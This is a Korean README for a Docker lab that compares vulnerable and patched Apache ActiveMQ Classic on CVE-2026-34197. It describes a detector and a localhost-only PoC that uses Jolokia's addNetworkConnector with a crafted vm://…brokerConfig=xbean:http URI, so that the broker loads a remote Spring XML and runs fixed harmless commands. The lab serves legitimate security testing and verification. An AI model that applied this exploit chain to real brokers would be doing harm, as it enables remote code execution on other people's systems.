
# Docker 랩: CVE-2026-34197 데모 Apache ActiveMQ Classic의 Jolokia를 통한 RCE 취약점(CVE-2026-34197)을 시연하는 Docker 랩입니다. 안전한 탐지 도구와 고정 명령어를 사용한 로컬 전용 PoC를 포함하며, 취약한 버전과 패치된 버전을 비교합니다.
| 서비스 | 버전 | 용도 | URL |
|---|
vuln | 5.19.3 | 취약한 대상 | http://127.0.0.1:8081 |
patched | 5.19.4 | 패치된 비교 대상 | http://127.0.0.1:8082 |
이 저장소에는 두 개의 검증 스크립트가 포함되어 있습니다:
| 스크립트 | 용도 | 안전 모델 |
|---|---|---|
poc/detect.py | 인가된 탐지기 | HTTP 전용; 악용하지 않음 |
poc/poc.py | 로컬 전용 RCE 경로 검증 | 고정 명령만 사용: id; whoami; sleep 5 |
실행 증거는 운영자가 strace와 같은 프로세스 관찰 도구를 사용하여 별도로 검증합니다.
CVE-2026-34197은 인증된 사용자가 Jolokia API를 사용하여 브로커 관리 작업을 호출하고, 조작된 brokerConfig=xbean:http://... URI를 통해 브로커 JVM이 공격자가 제어하는 Spring XML을 로드하도록 만들 수 있는 Apache ActiveMQ Classic 버전에 영향을 미칩니다.
이 실습 환경에서 시연되는 취약한 흐름은 다음과 같습니다:
Jolokia /api/jolokia/
-> Broker MBean 작업
-> addNetworkConnector(java.lang.String)
-> static:(vm://...?brokerConfig=xbean:http://...)
-> 원격 Spring XML 가져오기
-> ProcessBuilder 빈 초기화
-> 고정 로컬 검증 명령
패치된 서비스는 XML을 가져오기 전에 이 경로를 차단하고 다음과 유사한 오류를 반환합니다:
VM scheme is not allowed
.
├── docker-compose.yml
├── vuln
│ └── Dockerfile
├── patched
│ └── Dockerfile
├── poc
│ ├── detect.py
│ └── poc.py
├── images
│ └── strace.png
├── README.md
└── .gitignore
docker-compose.yml — 취약한 ActiveMQ 서비스와 패치된 ActiveMQ 서비스를 실행합니다.vuln/Dockerfile — Apache ActiveMQ Classic 5.19.3을 빌드합니다.patched/Dockerfile — Apache ActiveMQ Classic 5.19.4를 빌드합니다.poc/detect.py — Jolokia 노출, ActiveMQ 버전 및 Broker MBean 가시성을 확인합니다.poc/poc.py — 고정된 무해한 명령을 사용하여 로컬 전용 RCE 경로를 트리거합니다.images/strace.png — 취약한 서비스의 로컬 프로세스 관찰 증거를 포함합니다..gitignore — 로컬 아티팩트, Python 캐시 파일, 가상 환경, 로그 및 비밀번호를 제외합니다.이 저장소는 로컬 실습 환경 및 인가된 보안 검증 전용으로 제작되었습니다.
PoC는 의도적으로 제한되어 있습니다:
id; whoami; sleep 5.strace와 같은 별도의 운영자 제어 관찰에 의존합니다.poc.py에 허용된 로컬 대상:
127.0.0.1
localhost
::1
소유하지 않았거나 명시적 테스트 권한이 없는 시스템에 이 저장소를 사용하지 마십시오.
docker compose down -v
docker compose build
docker compose up -d
서비스 상태 확인:
docker compose ps
예상 서비스:
cve-2026-34197-vuln Up / healthy
cve-2026-34197-patched Up / healthy
취약한 서비스 확인:
curl -sS \
-u admin:admin \
-H 'Origin: http://127.0.0.1:8081' \
http://127.0.0.1:8081/api/jolokia/version | python3 -m json.tool
패치된 서비스 확인:
curl -sS \
-u admin:admin \
-H 'Origin: http://127.0.0.1:8082' \
http://127.0.0.1:8082/api/jolokia/version | python3 -m json.tool
예상 버전:
8081 -> ActiveMQ 5.19.3
8082 -> ActiveMQ 5.19.4
poc/detect.py는 안전한 기본 스크립트입니다. 대상에 악용을 수행하지 않습니다.
다음을 확인합니다:
/api/jolokia/version에 접근 가능한지 여부;python3 -m venv .venv
source .venv/bin/activate
pip install requests
python poc/detect.py \
-t http://127.0.0.1:8081 \
-t http://127.0.0.1:8082 \
-u admin \
-p admin \
-v
예상 결과:
http://127.0.0.1:8081
Assessment: LIKELY_VULNERABLE
Risk: HIGH
ActiveMQ version: 5.19.3
Broker MBean: VISIBLE
http://127.0.0.1:8082
Assessment: NOT_AFFECTED_BY_VERSION
Risk: LOW
ActiveMQ version: 5.19.4
Broker MBean: VISIBLE
탐지기는 다음 조건이 충족될 때 대상을 LIKELY_VULNERABLE로 표시합니다:
Jolokia에 접근 가능
+
ActiveMQ 버전이 영향을 받는 범위에 속함
이 실습 환경에서 사용하는 영향 범위:
5.x < 5.19.4
6.x < 6.2.3
Broker MBean 가시성은 악용 경로가 브로커 관리 작업에 의존하므로 신뢰도 증거로 사용됩니다.
탐지기는 CONFIRMED_RCE를 주장하지 않습니다.
poc/poc.py는 로컬 Docker 실습 환경에서 RCE 경로를 시연합니다.
호스트에서 임시 HTTP 서버를 시작하고 실행별 경로에 Spring XML 페이로드를 제공합니다:
/evil-<nonce>.xml
그런 다음 Jolokia를 통해 ActiveMQ Broker MBean을 호출합니다:
addNetworkConnector(java.lang.String)
조작된 discovery URI 사용:
static:(vm://cve34197<nonce>?brokerConfig=xbean:http://host.docker.internal:9100/evil-<nonce>.xml)
취약한 브로커는 이 XML을 가져옵니다. 패치된 브로커는 XML을 가져오기 전에 vm:// 전송 체계를 차단합니다.
취약한 실행 후 생성된 NetworkConnector가 이전 XML 경로를 다시 가져오려고 시도할 수 있습니다. 스크립트는 실행별 nonce를 사용하고 오탐을 방지하기 위해 matches_current_run을 추적합니다.
적중은 다음 조건과 일치하는 경우에만 현재 실행으로 계산됩니다:
/evil-<current-nonce>.xml
python poc/poc.py \
--target http://127.0.0.1:8081 \
-u admin \
-p admin
예상 출력:
[+] Broker fetched the Spring XML payload for this run.
Matched path: /evil-<nonce>.xml
matches_current_run: true
이는 ActiveMQ 5.19.3이 Jolokia 관리 브로커 경로를 통해 공격자가 제어하는 Spring XML을 가져오도록 만들 수 있음을 확인합니다.
python poc/poc.py \
--target http://127.0.0.1:8082 \
-u admin \
-p admin
예상 출력:
VM scheme is not allowed
[-] No XML fetch observed for this run.
이전 취약한 실행의 적중이 나타나면 다음이 표시되어야 합니다:
"matches_current_run": false
이는 패치된 서비스 성공으로 계산되지 않습니다.
PoC 스크립트는 명령 출력을 수집하지 않습니다. 명령 실행을 확인하려면 취약한 컨테이너 내부의 프로세스 생성을 관찰하십시오.
루트로 취약한 컨테이너에 들어갑니다:
docker exec -it --user root cve-2026-34197-vuln bash
Java 프로세스 찾기:
pgrep -af java
Java PID에 strace 연결:
strace -f -e execve -p <JAVA_PID>
다른 터미널에서 취약한 서비스에 대해 PoC 실행:
python poc/poc.py \
--target http://127.0.0.1:8081 \
-u admin \
-p admin
예상 strace 증거:
execve("/bin/sh", ["/bin/sh", "-c", "id; whoami; sleep 5"], ...)
execve("/usr/bin/id", ["id"], ...)
execve("/usr/bin/whoami", ["whoami"], ...)
execve("/usr/bin/sleep", ["sleep", "5"], ...)
이는 고정 검증 명령이 브로커 JVM에 의해 실행되었음을 보여주는 OS 수준 증거입니다.

PoC는 트리거 전에 기본 NetworkConnector 이름 NC를 제거하려고 시도합니다. 이렇게 하면 반복적인 실습 실행이 예측 가능하게 유지됩니다.
수동 정리:
curl -sS \
-u admin:admin \
-H 'Origin: http://127.0.0.1:8081' \
-H 'Content-Type: application/json' \
-X POST \
http://127.0.0.1:8081/api/jolokia/ \
-d '{
"type": "exec",
"mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
"operation": "removeNetworkConnector(java.lang.String)",
"arguments": ["NC"]
}' | python3 -m json.tool
또는 실습 환경 재시작:
docker compose restart vuln patched
| 테스트 | 취약한 5.19.3 | 패치된 5.19.4 |
|---|---|---|
detect.py | LIKELY_VULNERABLE | NOT_AFFECTED_BY_VERSION |
| Jolokia 접근 | 인증으로 접근 가능 | 인증으로 접근 가능 |
| Broker MBean | 표시됨 | 표시됨 |
poc.py XML 가져오기 | 예 | 아니요 |
| 패치된 차단 시그니처 | 해당 없음 | VM scheme is not allowed |
| strace 명령 증거 | /bin/sh -c 'id; whoami; sleep 5' | 예상되지 않음 |